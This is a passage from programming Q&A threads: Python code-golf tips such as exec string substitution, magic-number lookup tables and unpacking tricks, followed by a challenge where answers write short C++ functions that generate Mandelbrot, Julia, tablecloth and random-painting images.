even better:\n```\nif ad:foo()\n```\n[Answer]\nIf you're using a built-in function repeatedly, it might be more space-efficient to give it a new name, if using different arguments:\n```\nr=range\nfor x in r(10):\n for y in r(100):print x,y\n```\n[Answer]\nUse string substitution and `exec` to deal with long keywords like `lambda` that are repeated often in your code.\n```\na=lambda b:lambda c:lambda d:lambda e:lambda f:0 # 48 bytes (plain)\nexec\"a=`b:`c:`d:`e:`f:0\".replace('`','lambda ') # 47 bytes (replace)\nexec\"a=%sb:%sc:%sd:%se:%sf:0\"%(('lambda ',)*5) # 46 bytes (%)\n```\nThe target string is very often `'lambda '`, which is 7 bytes long. Suppose your code snippet contains `n` occurences of `'lambda '`, and is `s` bytes long. Then:\n* The `plain` option is `s` bytes long.\n* The `replace` option is `s - 6n + 29` bytes long.\n* The `%` option is `s - 5n + 22 + len(str(n))` bytes long.\nFrom a [plot of *bytes saved over `plain`*](https://i.stack.imgur.com/wSeF2.png) for these three options, we can see that:\n* For *n < 5* lambdas, you're better off not doing anything fancy at all.\n* For *n = 5*, writing `exec\"...\"%(('lambda ',)*5)` saves 2 bytes, and is your best option.\n* For *n > 5*, writing `exec\"...\".replace('`','lambda ')` is your best option.\n**For other cases, you can index the table below:**\n```\n 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 (occurences)\n +---------------------------------------------------------\n 3 | - - - - - - - - - - - - - - r r r r r \n 4 | - - - - - - - - - r r r r r r r r r r \n 5 | - - - - - - - r r r r r r r r r r r r \n 6 | - - - - - r r r r r r r r r r r r r r \n 7 | - - - - % r r r r r r r r r r r r r r \n 8 | - - - % % r r r r r r r r r r r r r r \n 9 | - - - % % r r r r r r r r r r r r r r \n 10 | - - % % % r r r r r r r r r r r r r r \n 11 | - - % % % r r r r r r r r r r r r r r \n 12 | - - % % % r r r r r r r r r r r r r r r = replace\n 13 | - - % % % r r r r r r r r r r r r r r % = string %\n 14 | - % % % % r r r r r r r r r r r r r r - = do nothing\n 15 | - % % % % r r r r r r r r r r r r r r \n (length)\n```\nFor example, if the string `lambda x,y:` (length 11) occurs 3 times in your code, you're better off writing `exec\"...\"%(('lambda x,y:',)*3)`.\n[Answer]\nSometimes your Python code requires you to have 2 levels of indentation. The obvious thing to do is use one and two spaces for each indentation level.\nHowever, Python 2 considers the tab and space characters to be different indenting levels.\nThis means the first indentation level can be one space and the second can be one tab character.\nFor example:\n```\nif 1:\n if 1:\n\tpass\n```\n[Answer]\n## Store lookup tables as magic numbers\nSay you want to hardcode a Boolean lookup table, like which of the first twelve English numbers contain an `n`.\n```\n0: False\n1: True\n2: False\n3: False\n4: False\n5: False\n6: False\n7: True\n8: False\n9: True\n10:True\n11:True\n12:False\n```\nThen, you can implement this lookup table concisely as:\n```\n3714>>i&1\n```\nwith the resulting `0` or `1` being equal to `False` to `True`.\nThe idea is that the magic number stores the table as a bitstring `bin(3714)` = `0b111010000010`, with the `n`-th digit (from the end) corresponding the the `n`th table entry. We access the `n`th entry by bitshifting the number `n` spaces to the right and taking the last digit by `&1`.\nThis storage method is very efficient. Compare to the alternatives\n```\nn in[1,7,9,10,11]\n'0111010000010'[n]>'0'\n```\nYou can have your lookup table store multibit entries that can be extracted like\n```\n 340954054>>4*n&15\n```\nto extract the relevant four-bit block.\n[Answer]\nUse extended slicing to select one string from many\n```\n>>> for x in 0,1,2:print\"fbboaaorz\"[x::3]\n... \nfoo\nbar\nbaz\n```\nvs\n```\n>>> for x in 0,1,2:print[\"foo\",\"bar\",\"baz\"][x]\n... \nfoo\nbar\nbaz\n```\nIn this Boolean two-string case, one can also write\n```\nb*\"string\"or\"other_string\"\n```\nfor \n```\n[\"other_string\",\"string\"][b]\n```\nUnlike interleaving, this works for strings of any length, but can have operator precedence issues if `b` is instead an expression.\n[Answer]\n## Collapse two numerical loops into one\nSay you're iterating over the cells of an `m*n` grid. Instead of two nested `for` loops, one for the rows and one for the columns, it's usually shorter to write a single loop to iterate over the `m*n` cells of the grid. You can extract the row and column of the cell inside the loop.\n**Original code:**\n```\nfor i in range(m):\n for j in range(n):\n do_stuff(i,j)\n```\n**Golfed code:**\n```\nfor k in range(m*n):\n do_stuff(k/n,k%n)\n```\nIn effect, you're iterating over the Cartesian product of the two ranges, encoding the pair `(i,j)` as `x=i*n+j`. You've save a costly `range` call and a level of indentation inside the loop. The order of iteration is unchanged.\nUse `//` instead of `/` in Python 3. If you refer to `i` and `j` many times, it may be shorter to assign their values `i=k/n`, `j=k%n` inside the loop.\n[Answer]\nUse ``n`` to convert an integer to a string instead of using `str(n)`:\n```\n>>> n=123\n>>> `n`\n'123'\n```\nNote: Only works in Python 2.\n[Answer]\nFor integer `n`, you can write \n* `n+1` as `-~n`\n* `n-1` as `~-n`\nbecause the bit flip `~x` equals `-1-x`. This uses the same number of characters, but can indirectly cut spaces or parens for operator precedence.\nCompare:\n```\nwhile n-1: #Same as while n!=1 \nwhile~-n:\nc/(n-1)\nc/~-n\nor f(n)+1\nor-~f(n) \n(n-1)/10+(n-1)%10\n~-n/10+~-n%10\n```\nThe operators `~` and unary `-` are higher precedence than `*`, `/`, `%`, unlike binary `+`.\n[Answer]\nUnless the following token starts with `e` or `E`. You can remove the space following a number.\nFor instance:\n```\nif i==4 and j==4:\n pass\n```\nBecomes:\n```\nif i==4and j==4:\n pass\n```\nUsing this in complicated one line statements can save quite a few characters.\nEDIT: as @marcog pointed out, `4or a` will work, but not `a or4` as this gets confused with a variable name.\n[Answer]\nA nice way to convert an iterable to list on **Python 3**:\nimagine you have some iterable, like\n```\ni = (1,2,3,4)\ni = range(4)\ni = (x**2 for x in range(5))\n```\nBut you need a list:\n```\nx=list(i) #the default way\n*x,=i #using starred assignment -> 4 char fewer\n```\nIt's very useful to make a list of chars out of a string\n```\ns=['a','b','c','d','e']\ns=list('abcde')\n*s,='abcde'\n```\n[Answer]\n# [Extended iterable unpacking](https://www.python.org/dev/peps/pep-3132/) (\"Starred assignment\", Python 3 only)\nThe best way to explain this is via an example:\n```\n>>> a,*b,c=range(5)\n>>> a\n0\n>>> b\n[1, 2, 3]\n>>> c\n4\n```\nWe've already seen a use for this — [turning an iterable into a list in Python 3](https://codegolf.stackexchange.com/a/4389/21487):\n```\na=list(range(10))\n*a,=range(10)\n```\nHere are a few more uses.\n## Getting the last element from a list\n```\na=L[-1]\n*_,a=L\n```\nIn some situations, this can also be used for getting the first element to save on parens:\n```\na=(L+[1])[0]\na,*_=L+[1]\n```\n## Assigning an empty list and other variables\n```\na=1;b=2;c=[]\na,b,*c=1,2\n```\n## Removing the first or last element of a non-empty list\n```\n_,*L=L\n*L,_=L\n```\nThese are shorter than the alternatives `L=L[1:]` and `L.pop()`. The result can also be saved to a different list.\n*Tips courtesy of @grc*\n[Answer]\nInstead of `range(x)`, you can use the `*` operator on a list of anything, if you don't actually need to use the value of `i`:\n```\nfor i in[1]*8:pass\n```\nas opposed to\n```\nfor i in range(8):pass\n```\nIf you need to do this more than twice, you could assign any iterable to a variable, and multiply that variable by the range you want:\n```\nr=1,\nfor i in r*8:pass\nfor i in r*1000:pass\n```\n**Note**: this is often longer than `exec\"pass;\"*8`, so this trick should only be used when that isn't an option.\n[Answer]\nYou can use the good old alien smiley face to reverse sequences:\n```\n[1, 2, 3, 4][::-1] # => [4, 3, 2, 1]\n```\n[Answer]\n## Use ~ to index from the back of a list\nIf `L` is a list, use `L[~i]` to get the `i`'th element from the back.\nThis is the `i`'th element of the reverse of `L`. The bit complement `~i` equals `-i-1`, and so fixes the off-by-one error from `L[-i]`. \n[Answer]\nFor ages it bothered me that I couldn't think of a short way to get the entire alphabet. If you use `range` enough that `R=range` is worth having in your program, then\n```\n[chr(i+97)for i in R(26)]\n```\nis shorter than the naive\n```\n'abcdefghijklmnopqrstuvwxyz'\n```\n, but otherwise it's longer by a single character. It haunted me that the clever one that required some knowledge of ascii values ended up being more verbose than just typing all the letters.\nUntil I saw [this](https://codegolf.stackexchange.com/a/25627/14509) answer for [My Daughter's Alphabet](https://codegolf.stackexchange.com/questions/25625/my-daughters-alphabet). I can't follow the edit history well enough to figure out if this genius was the work of the OP or if it was a suggestion by a commenter, but this is (I believe) the shortest way to create an iterable of the 26 letters in the Roman alphabet.\n```\nmap(chr,range(97,123))\n```\nIf case doesn't matter, you can strip off another character by using uppercase:\n```\nmap(chr,range(65,91))\n```\nI use `map` way too much, I don't know how this never occurred to me.\n[Answer]\n## set literals in Python2.7\nYou can write sets like this `S={1,2,3}` This also means you can check for membership using `{e}&S` instead of `e in S` which saves one character.\n[Answer]\n**Choosing one of two numbers based on a condition**\nYou [already know](https://codegolf.stackexchange.com/a/62/20260) to use the list selection `[x,y][b]` with a Boolean `b` for the ternary expression `y if b else x`. The variables `x`, `y`, and `b` can also be expressions, though note that both `x` and `y` are evaluated even when not selected.\nHere's some potential optimizations when `x` and `y` are numbers.\n* `[0,y][b] -> y*b`\n* `[1,y][b] -> y**b`\n* `[x,1][b] -> b or x`\n* `[x,x+1][b] -> x+b`\n* `[x,x-1][b] -> x-b`\n* `[1,-1][b] -> 1|-b`\n* `[x,~x][b] -> x^-b`\n* `[x,y][b] -> x+z*b` (or `y-z*b`), where z=y-x.\nYou can also switch `x` and `y` if you can rewrite `b` to be its negation instead.\n[Answer]\nWhen you have two boolean values, `a` and `b`, if you want to find out if both `a` and `b` are true, use `*` instead of `and`:\n```\nif a and b: #7 chars\n```\nvs\n```\nif a*b: #3 chars\n```\nif either value is false, it will evaluate as `0` in that statement, and an integer value is only true if it is nonzero.\n[Answer]\nAlthough python doesn't have switch statements, you can emulate them with dictionaries. For example, if you wanted a switch like this:\n```\nswitch (a):\n case 1:\n runThisCode()\n break\n case 2:\n runThisOtherCode()\n break\n case 3:\n runThisOtherOtherCode()\n break\n```\nYou could use `if` statements, or you could use this:\n```\nexec{1:\"runThisCode()\",2:\"runThisOtherCode()\",3:\"runThisOtherOtherCode()\"}[a]\n```\nor this:\n```\n{1:runThisCode,2:runThisOtherCode,3:runThisOtherOtherCode}[a]()\n```\nwhich is better if all code paths are functions with the same parameters.\nTo support a default value do this:\n```\nexec{1:\"runThisCode()\"}.get(a,\"defaultCode()\")\n```\n(or this:)\n```\n­­{1:runThisCode}.get(a,defaultCode)()\n```\nOne other advantage of this is that if you do have redundancies, you could just add them after the end of the dictionary: \n```\nexec{'key1':'code','key2':'code'}[key]+';codeThatWillAlwaysExecute'\n```\nAnd if you just wanted to use a switch to return a value:\n```\ndef getValue(key):\n if key=='blah':return 1\n if key=='foo':return 2\n if key=='bar':return 3\n return 4\n```\nYou could just do this:\n```\ngetValue=lambda key:{'blah':1,'foo':2,'bar',3}.get(key,4)\n```\n[Answer]\n# PEP448 – [Additional Unpacking Generalizations](https://www.python.org/dev/peps/pep-0448/)\nWith the release of [Python 3.5](https://www.python.org/downloads/release/python-350/), manipulation of lists, tuples, sets and dicts just got golfier.\n## Turning an iterable into a set/list\nCompare the pairs:\n```\nset(T)\n{*T}\nlist(T)\n[*T]\ntuple(T)\n(*T,)\n```\nMuch shorter! Note, however, that if you just want to convert something to a list and assign it to a variable, normal [extended iterable unpacking](https://www.python.org/dev/peps/pep-3132/) is shorter:\n```\nL=[*T]\n*L,=T\n```\nA similar syntax works for tuples:\n```\nT=*L,\n```\nwhich is like extended iterable unpacking, but with the asterisk and comma on the other side.\n## Joining lists/tuples\nUnpacking is slightly shorter than concatenation if you need to append a list/tuple to both sides:\n```\n[1]+T+[2]\n[1,*T,2]\n(1,)+T+(2,)\n(1,*T,2)\n```\n## Printing the contents of multiple lists\nThis isn't limited to `print`, but it's definitely where most of the mileage will come from. PEP448 now allows for multiple unpacking, like so:\n```\n>>> T = (1, 2, 3)\n>>> L = [4, 5, 6]\n>>> print(*T,*L)\n1 2 3 4 5 6\n```\n## Updating multiple dictionary items\nThis probably won't happen very often, but the syntax can be used to save on updating dictionaries if you're updating at least three items:\n```\nd[0]=1;d[1]=3;d[2]=5\nd={**d,0:1,1:3,2:5}\n```\nThis basically negates any need for `dict.update`.\n[Answer]\nloops up to 4 items may be better to supply a tuple instead of using range\n```\nfor x in 0,1,2:\n```\nvs\n```\nfor x in range(3):\n```\n[Answer]\n### Use `+=` instead of `append` and `extend`\n```\nA.append(B) \n```\ncan be shortened to:\n```\nA+=B,\n```\n`B,` here creates a one-element tuple which can be used to extend `A` just like `[B]` in `A+=[B]`.\n---\n```\nA.extend(B)\n```\ncan be shortened to:\n```\nA+=B\n```\n[Answer]\n# Ceil and Floor\nIf you ever want to get the rounded-up result for a division, much like you'd do with `//` for floor, you could use `math.ceil(3/2)` for 15 or the much shorter `-(-3//2)` for 8 bytes.\n```\nmath.floor(n) : 13 bytes+12 for import\nn//1 : 4 bytes\nmath.ceil(n) : 12 bytes+12 for import\n-(-n//1) : 8 bytes\n```\n[Answer]\nChange `import *` to `import*`\n---\nIf you haven't heard, `import*` saves chars!\n```\nfrom math import*\n```\nis only 1 character longer than `import math as m` and you get to remove all instances of `m.`\nEven one time use is a saver!\n[Answer]\nA one line function can be done with lambda:\n```\ndef c(a):\n if a < 3: return a+10\n else: return a-5\n```\ncan be converted to (note missing space `3and` and `10or`)\n```\nc=lambda a:a<3and a+10or a-5\n```\n[Answer]\n## Exploit Python 2 string representations\nPython 2 lets you convert an object `x` to its string representation ``x`` at a cost of only 2 chars. Use this for tasks that are easier done on the object's string than the object itself.\n**Join characters**\nGiven a list of characters `l=['a','b','c']`, one can produce `''.join(l)` as ``l`[2::5]`, which saves a byte. \nThe reason is that ``l`` is `\"['a', 'b', 'c']\"` (with spaces), so one can extract the letters with a list slice, starting that the second zero-indexed character `a`, and taking every fifth character from there. This doesn't work to join multi-character strings or escape characters represented like `'\\n'`.\n**Concatenate digits**\nSimilarly, given a non-empty list of digits like `l=[0,3,5]`, one can concatenate them into a string `'035'` as ``l`[1::3]`. \nThis saves doing something like `map(str,l)`. Note that they must be single digits, and can't have floats like `1.0` mixed in. Also, this fails on the empty list, producing `]`.\n**Check for negatives**\nNow, for a non-string task. Suppose you have a list `l` of real numbers and want to test if it contains any negative numbers, producing a Boolean.\nYou can do\n```\n'-'in`l`\n```\nwhich checks for a negative sign in the string rep. This shorter than either of\n```\nany(x<0for x in l)\nmin(l+[0])<0 \n```\nFor the second, `min(l)<0` would fail on the empty list, so you have to hedge.\n[Answer]\n## Length tradeoff reference\nI've think it would be useful to have a reference for the character count differences for some common alternative ways of doing things, so that I can know when to use which. I'll use `_` to indicate an expression or piece of code.\n**Assign to a variable: +4**\n```\nx=_;x\n_\n```\nSo, this breaks even if you\n* Use `_` a second time: `_` has length 5\n* Use `_` a third time: `_` has length 3\n**Assign variables separately: 0**\n```\nx,y=a,b\nx=a;y=b\n```\n* -2 when `a` equals `b` for `x=y=a`\n**Expand `lambda` to function `def`: +7**\n```\nlambda x:_\ndef f(x):return _\n```\n* -2 for named functions\n* -1 if `_` can touch on the left\n* -1 in Python 2 if can `print` rather than return\n* +1 for starred input `*x`\nGenerically, if you're `def` to save an expression to a variable used twice, this breaks even when the expression is length 12.\n```\nlambda x:g(123456789012,123456789012)\ndef f(x):s=123456789012;return g(s,s)\n```\n**STDIN rather than function: +1**\n```\ndef f(x):_;print s\nx=input();_;print s\n```\n* -1 for line of code needed in `_` if not single-line\n* +4 if `raw_input` needed in Python 2\n* -4 if input variable used only once\n* +1 if function must `return` rather than `print` in Python 2\n**Use `exec` rather than looping over `range(n)`: +0**\n```\nfor i in range(n):_\ni=0;exec\"_;i+=1;\"*n\n```\n* +2 for Python 3 `exec()`\n* -4 if shifted range `range(c,c+n)` for single-char `c`\n* -5 when going backwards from `n` to `1` via `range(n,0,-1)`\n* -9 if index variable never used\n**Apply `map` manually in a loop: +0**\n```\nfor x in l:y=f(x);_\nfor y in map(f,l):_\n```\n**Apply `map` manually in a list comprehension: +8**\n```\nmap(f,l)\n[f(x)for x in l]\n```\n* -12 when `f` must be written in the `map` as the `lambda` expression `lambda x:f(x)`, causing overall 4 char loss.\n**Apply `filter` manually in a list comprehension: +11**\n```\nfilter(f,l)\n[x for x in l if f(x)]\n```\n* -1 if `f(x)` expression can touch on the left\n* -12 when `f` must be written in the `filter` as the `lambda` expression `lambda x:f(x)`, causing overall 1 char loss.\n**Import* versus import single-use: +4*\\*\n```\nimport _;_.f\nfrom _ import*;f\n```\n* Breaks even when `_` has length 5\n* `import _ as x;x.f` is always worse except for multiple imports\n* `__import__('_').f` is also worse\nThanks to @Sp3000 for lots of suggestions and fixes.\n]"}}},{"rowIdx":15,"cells":{"text":{"kind":"string","value":"[Question]\n [\n**Closed**. This question needs to be more [focused](/help/closed-questions). It is not currently accepting answers.\n \n \nClosed 8 years ago.\n**Locked**. This question and its answers are [locked](/help/locked-posts) because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions.\n \n \nInteger math can generate amazing patterns when laid out over a grid. Even the most basic functions can yield stunningly elaborate designs!\n# Your challenge\nWrite 3 Tweetable (meaning 140 characters or less) function bodies for the red, green, and blue values for a 1024x1024 image.\nThe input to the functions will be two integers i (column number for the given pixel) and j (row number for the given pixel) and the output will be an unsigned short between 0 and 1023, inclusive, which represents the amount of the given color present in the pixel (i,j).\nFor example, the following three functions produce the picture below:\n```\n/* RED */\n return (unsigned short)sqrt((double)(_sq(i-DIM/2)*_sq(j-DIM/2))*2.0);\n/* GREEN */\n return (unsigned short)sqrt((double)(\n (_sq(i-DIM/2)|_sq(j-DIM/2))*\n (_sq(i-DIM/2)&_sq(j-DIM/2))\n )); \n/* BLUE */\n return (unsigned short)sqrt((double)(_sq(i-DIM/2)&_sq(j-DIM/2))*2.0);\n```\n![Pattern-1](https://i.stack.imgur.com/da9MA.jpg)\n```\n/* RED */\n return i&&j?(i%j)&(j%i):0;\n/* GREEN */\n return i&&j?(i%j)+(j%i):0;\n/* BLUE */\n return i&&j?(i%j)|(j%i):0;\n```\n![Pattern-2](https://i.stack.imgur.com/3z2pa.jpg)\n# The Rules\n* Given [this C++ code](http://pastebin.com/uQkCQGhz), substitute in your functions. I have provided a few macros and have included the library, and you may include complex.h. You may use any functions from these libraries and/or my macros. Please do not use any external resources beyond this.\n* If that version isn't working for you, make sure you're compiling with:\n```\ng++ filename.cpp -std=c++11\n```\nIf that doesn't work, please use the [alternate version](http://pastebin.com/12quxkA9) using unsigned chars instead of unsigned shorts.\nMichaelangelo has provided a cleaned up [24-bit or 48-bit color output](http://pastebin.com/HWKWzebh) version.\n* You may implement your own version in another language, but it must behave in the same way as the provided C++ version, and only functions from C++'s built-ins, the library, or the provided macros may be used to make it fair.\n* Post only your three function bodies - please don't include my code in your post\n* Please include either a smaller version or an embedded copy of your image. They are made into a ppm format and may need to be converted to another for proper viewing on stackexchange.\n* Function bodies (not including signature) must be 140 characters or less.\n* This is a popularity contest - most votes wins\n \n[Answer]\n# Table cloths\n# Flat\nI started out putting a plaid/gingham pattern into perspective like a boundless table cloth:\n```\nunsigned char RD(int i,int j){\n float s=3./(j+99);\n return (int((i+DIM)*s+j*s)%2+int((DIM*2-i)*s+j*s)%2)*127;\n}\nunsigned char GR(int i,int j){\n float s=3./(j+99);\n return (int((i+DIM)*s+j*s)%2+int((DIM*2-i)*s+j*s)%2)*127;\n}\nunsigned char BL(int i,int j){\n float s=3./(j+99);\n return (int((i+DIM)*s+j*s)%2+int((DIM*2-i)*s+j*s)%2)*127;\n}\n```\n![flat table cloth](https://i.stack.imgur.com/boPfJ.png \"flat table cloth\")\n# Ripple\nThen I introduced a ripple (not strictly correct perspective, but still in 140 characters):\n```\nunsigned char RD(int i,int j){\n float s=3./(j+99);\n float y=(j+sin((i*i+_sq(j-700)*5)/100./DIM)*35)*s;\n return (int((i+DIM)*s+y)%2+int((DIM*2-i)*s+y)%2)*127;\n}\nunsigned char GR(int i,int j){\n float s=3./(j+99);\n float y=(j+sin((i*i+_sq(j-700)*5)/100./DIM)*35)*s;\n return (int((i+DIM)*s+y)%2+int((DIM*2-i)*s+y)%2)*127;\n}\nunsigned char BL(int i,int j){\n float s=3./(j+99);\n float y=(j+sin((i*i+_sq(j-700)*5)/100./DIM)*35)*s;\n return (int((i+DIM)*s+y)%2+int((DIM*2-i)*s+y)%2)*127;\n}\n```\n![rippled table cloth](https://i.stack.imgur.com/LbR64.png \"rippled table cloth\")\n# Colour\nThen I made some of the colours more fine grained to give detail on a wider range of scales, and to make the picture more colourful...\n```\nunsigned char RD(int i,int j){\n float s=3./(j+99);\n float y=(j+sin((i*i+_sq(j-700)*5)/100./DIM)*35)*s;\n return (int((i+DIM)*s+y)%2+int((DIM*2-i)*s+y)%2)*127;\n}\nunsigned char GR(int i,int j){\n float s=3./(j+99);\n float y=(j+sin((i*i+_sq(j-700)*5)/100./DIM)*35)*s;\n return (int(5*((i+DIM)*s+y))%2+int(5*((DIM*2-i)*s+y))%2)*127;\n}\nunsigned char BL(int i,int j){\n float s=3./(j+99);\n float y=(j+sin((i*i+_sq(j-700)*5)/100./DIM)*35)*s;\n return (int(29*((i+DIM)*s+y))%2+int(29*((DIM*2-i)*s+y))%2)*127;\n}\n```\n![coloured table cloth](https://i.stack.imgur.com/ril9E.png \"coloured table cloth\")\n# In motion\nReducing the code just slightly more allows for defining a wave phase P with 2 decimal places, which is just enough for frames close enough for smooth animation. I've reduced the amplitude at this stage to avoid inducing sea sickness, and shifted the whole image up a further 151 pixels (at the cost of 1 extra character) to push the aliasing off the top of the image. Animated aliasing is mesmerising.\n```\nunsigned char RD(int i,int j){\n#define P 6.03\nfloat s=3./(j+250),y=(j+sin((i*i+_sq(j-700)*5)/100./DIM+P)*15)*s;return (int((i+DIM)*s+y)%2+int((DIM*2-i)*s+y)%2)*127;}\nunsigned char GR(int i,int j){\nfloat s=3./(j+250);\nfloat y=(j+sin((i*i+_sq(j-700)*5)/100./DIM+P)*15)*s;\nreturn (int(5*((i+DIM)*s+y))%2+int(5*((DIM*2-i)*s+y))%2)*127;}\nunsigned char BL(int i,int j){\nfloat s=3./(j+250);\nfloat y=(j+sin((i*i+_sq(j-700)*5)/100./DIM+P)*15)*s;\nreturn (int(29*((i+DIM)*s+y))%2+int(29*((DIM*2-i)*s+y))%2)*127;}\n```\n![animated table cloth](https://i.stack.imgur.com/8Pcmp.gif \"animated table cloth\")\n[Answer]\n## Random painter\n![enter image description here](https://i.stack.imgur.com/8UAOh.png)\n```\nchar red_fn(int i,int j){\n#define r(n)(rand()%n)\n static char c[1024][1024];return!c[i][j]?c[i][j]=!r(999)?r(256):red_fn((i+r(2))%1024,(j+r(2))%1024):c[i][j];\n}\nchar green_fn(int i,int j){\n static char c[1024][1024];return!c[i][j]?c[i][j]=!r(999)?r(256):green_fn((i+r(2))%1024,(j+r(2))%1024):c[i][j];\n}\nchar blue_fn(int i,int j){\n static char c[1024][1024];return!c[i][j]?c[i][j]=!r(999)?r(256):blue_fn((i+r(2))%1024,(j+r(2))%1024):c[i][j];\n}\n```\nHere is a randomness-based entry. For about 0.1% of the pixels it chooses a random colour, for the others it uses the same colour as a random adjacent pixel. Note that each colour does this independently, so this is actually just an overlay of a random green, blue and red picture. To get different results on different runs, you'll need to add `srand(time(NULL))` to the `main` function.\nNow for some variations.\nBy skipping pixels we can make it a bit more blurry.\n![enter image description here](https://i.stack.imgur.com/uy9s7.png)\nAnd then we can slowly change the colours, where the overflows result in abrupt changes which make this look even more like brush strokes\n![enter image description here](https://i.stack.imgur.com/JEsbA.jpg)\nThings I need to figure out:\n* For some reason I can't put `srand` within those functions without getting a segfault.\n* If I could make the random walks the same across all three colours it might look a bit more orderly.\nYou can also make the random walk isotropic, like\n```\nstatic char c[1024][1024];return!c[i][j]?c[i][j]=r(999)?red_fn((i+r(5)+1022)%1024,(j+r(5)+1022)%1024):r(256):c[i][j];\n```\nto give you\n![enter image description here](https://i.stack.imgur.com/pC84j.png)\n## More random paintings\nI've played around with this a bit more and created some other random paintings. Not all of these are possible within the limitations of this challenge, so I don't want to include them here. But you can see them in [**this imgur gallery**](https://i.stack.imgur.com/YhHgg.jpg) along with some descriptions of how I produced them.\nI'm tempted to develop all these possibilities into a framework and put it on GitHub. (Not that stuff like this doesn't already exist, but it's fun anyway!)\n[Answer]\n# Some swirly pointy things\nYes, I knew exactly what to name it.\n![Some swirly pointy things](https://i.stack.imgur.com/as0BL.png)\n```\nunsigned short RD(int i,int j){\n return(sqrt(_sq(73.-i)+_sq(609-j))+1)/(sqrt(abs(sin((sqrt(_sq(860.-i)+_sq(162-j)))/115.0)))+1)/200;\n}\nunsigned short GR(int i,int j){\n return(sqrt(_sq(160.-i)+_sq(60-j))+1)/(sqrt(abs(sin((sqrt(_sq(86.-i)+_sq(860-j)))/115.0)))+1)/200;\n}\nunsigned short BL(int i,int j){\n return(sqrt(_sq(844.-i)+_sq(200-j))+1)/(sqrt(abs(sin((sqrt(_sq(250.-i)+_sq(20-j)))/115.0)))+1)/200;\n}\n```\n**EDIT:** No longer uses `pow`.\n**EDIT 2:** @PhiNotPi pointed out that I don't need to use abs as much.\nYou can change the reference points pretty easily to get a different picture:\n![Some more swirly pointy things](https://i.stack.imgur.com/4pEBN.png)\n```\nunsigned short RD(int i,int j){\n return(sqrt(_sq(148.-i)+_sq(1000-j))+1)/(sqrt(abs(sin((sqrt(_sq(500.-i)+_sq(400-j)))/115.0)))+1)/200;\n}\nunsigned short GR(int i,int j){\n return(sqrt(_sq(610.-i)+_sq(60-j))+1)/(sqrt(abs(sin((sqrt(_sq(864.-i)+_sq(860-j)))/115.0)))+1)/200;\n}\nunsigned short BL(int i,int j){\n return(sqrt(_sq(180.-i)+_sq(100-j))+1)/(sqrt(abs(sin((sqrt(_sq(503.-i)+_sq(103-j)))/115.0)))+1)/200;\n}\n```\n@EricTressler pointed out that my pictures have Batman in them.\n![Batman](https://i.stack.imgur.com/0IgLZ.png)\n[Answer]\nOf course, there has to be a Mandelbrot submission.\n![enter image description here](https://i.stack.imgur.com/bJZHw.png)\n```\nchar red_fn(int i,int j){\n float x=0,y=0;int k;for(k=0;k++<256;){float a=x*x-y*y+(i-768.0)/512;y=2*x*y+(j-512.0)/512;x=a;if(x*x+y*y>4)break;}return k>31?256:k*8;\n}\nchar green_fn(int i,int j){\n float x=0,y=0;int k;for(k=0;k++<256;){float a=x*x-y*y+(i-768.0)/512;y=2*x*y+(j-512.0)/512;x=a;if(x*x+y*y>4)break;}return k>63?256:k*4;\n}\nchar blue_fn(int i,int j){\n float x=0,y=0;int k;for(k=0;k++<256;){float a=x*x-y*y+(i-768.0)/512;y=2*x*y+(j-512.0)/512;x=a;if(x*x+y*y>4)break;}return k;\n}\n```\nTrying to improve the colour scheme now. Is it cheating if I define the computation as a macro is `red_fn` and use that macro in the other two so I have more characters for fancy colour selection in green and blue?\n**Edit:** It's really hard to come up with decent colour schemes with these few remaining bytes. Here is one other version:\n```\n/* RED */ return log(k)*47;\n/* GREEN */ return log(k)*47;\n/* BLUE */ return 128-log(k)*23;\n```\n![enter image description here](https://i.stack.imgur.com/ha0lJ.png)\nAnd as per githubphagocyte's suggestion and with Todd Lehman's improvements, we can easily pick smaller sections:\nE.g.\n```\nchar red_fn(int i,int j){\n float x=0,y=0,k=0,X,Y;while(k++<256e2&&(X=x*x)+(Y=y*y)<4)y=2*x*y+(j-89500)/102400.,x=X-Y+(i-14680)/102400.;return log(k)/10.15*256;\n}\nchar green_fn(int i,int j){\n float x=0,y=0,k=0,X,Y;while(k++<256e2&&(X=x*x)+(Y=y*y)<4)y=2*x*y+(j-89500)/102400.,x=X-Y+(i-14680)/102400.;return log(k)/10.15*256;\n}\nchar blue_fn(int i,int j){\n float x=0,y=0,k=0,X,Y;while(k++<256e2&&(X=x*x)+(Y=y*y)<4)y=2*x*y+(j-89500)/102400.,x=X-Y+(i-14680)/102400.;return 128-k/200;\n}\n```\ngives\n![enter image description here](https://i.stack.imgur.com/20cg2.png)\n[Answer]\n## Mandelbrot 3 x 133 chars\nThe first thing that popped into my mind was \"Mandelbrot!\".\nYes, I know there already is a mandelbrot submission. After confirming that I'm able to get it below 140 characters myself, I have taken the tricks and optimizations from that solution into mine (thanks Martin and Todd). That left space to choose an interesting location and zoom, as well as a nice color theme:\n![mandelbrot](https://i.stack.imgur.com/ogqlO.png)\n```\nunsigned char RD(int i,int j){\n double a=0,b=0,c,d,n=0;\n while((c=a*a)+(d=b*b)<4&&n++<880)\n {b=2*a*b+j*8e-9-.645411;a=c-d+i*8e-9+.356888;}\n return 255*pow((n-80)/800,3.);\n}\nunsigned char GR(int i,int j){\n double a=0,b=0,c,d,n=0;\n while((c=a*a)+(d=b*b)<4&&n++<880)\n {b=2*a*b+j*8e-9-.645411;a=c-d+i*8e-9+.356888;}\n return 255*pow((n-80)/800,.7);\n}\nunsigned char BL(int i,int j){\n double a=0,b=0,c,d,n=0;\n while((c=a*a)+(d=b*b)<4&&n++<880)\n {b=2*a*b+j*8e-9-.645411;a=c-d+i*8e-9+.356888;}\n return 255*pow((n-80)/800,.5);\n}\n```\n## 132 chars total\nI tried to get it down to 140 for all 3 channels. There is a bit of color noise near the edge, and the location is not as interesting as the first one, but: 132 chars\n![mandelbrot-reduced](https://i.stack.imgur.com/zqGfD.png)\n```\nunsigned char RD(int i,int j){\n double a=0,b=0,d,n=0;\n for(;a*a+(d=b*b)<4&&n++<8192;b=2*a*b+j/5e4+.06,a=a*a-d+i/5e4+.34);\n return n/4;\n}\nunsigned char GR(int i,int j){\n return 2*RD(i,j);\n}\nunsigned char BL(int i,int j){\n return 4*RD(i,j);\n}\n```\n[Answer]\n# Julia sets\nIf there's a Mandelbrot, there should be a Julia set too.\n![enter image description here](https://i.stack.imgur.com/LJMzd.png)\nYou can spend hours tweaking the parameters and functions, so this is just a quick one that looks decent.\nInspired from Martin's participation.\n```\nunsigned short red_fn(int i, int 